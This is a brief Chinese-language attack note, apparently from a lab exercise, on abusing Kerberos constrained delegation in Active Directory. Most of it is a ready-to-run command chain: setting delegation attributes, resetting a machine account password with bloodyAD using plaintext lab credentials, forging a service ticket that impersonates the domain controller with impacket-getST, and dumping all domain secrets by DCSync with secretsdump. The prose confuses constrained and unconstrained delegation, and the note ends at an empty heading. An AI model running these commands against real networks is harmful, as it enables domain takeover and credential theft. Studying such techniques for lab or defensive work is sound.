Constrained Delegation

配置了约束委派的计算机将能够在另一台计算机上模拟任何用户。要配置此功能,需要修改对象的 userAccountControl 属性,使其包含 TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION 标志(需要 SeEnableDelegationPrivilege 权限),并将 msDS-AllowedToDelegateTo 属性设置为我们想要以任何用户身份进行身份验证的目标 spn。

1. 快速利用

我们需要一个机器帐户,为其配置无约束委派,然后强制域控制器向该机器进行身份验证。这需要能够添加机器帐户以及 DNS 条目(为了进行强制操作 - Kerberos 使用名称而不是 IP 地址)

#配置
Set-ADComputer -Identity FS01 -Add @{'msDS-AllowedToDelegateTo'=@('ldap/dc.redelegate.vl')}
Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True

#验证 
Get-ADComputer FS01 -Properties msDS-AllowedToDelegateTo | Select-Object Name, msDS-AllowedToDelegateTo

#修改机器密码
bloodyAD --host 10.129.130.206 -d redelegate.vl -u 'HELEN.FROST' -p 'Admin123' set password 'FS01$' Admin123

#请求ST
impacket-getST 'redelegate.vl/FS01$:Admin123' -spn ldap/dc.redelegate.vl -impersonate DC

#DCSync 
impacket-secretsdump -dc-ip 10.129.130.206 -k -no-pass DC.redelegate.vl

2. 案例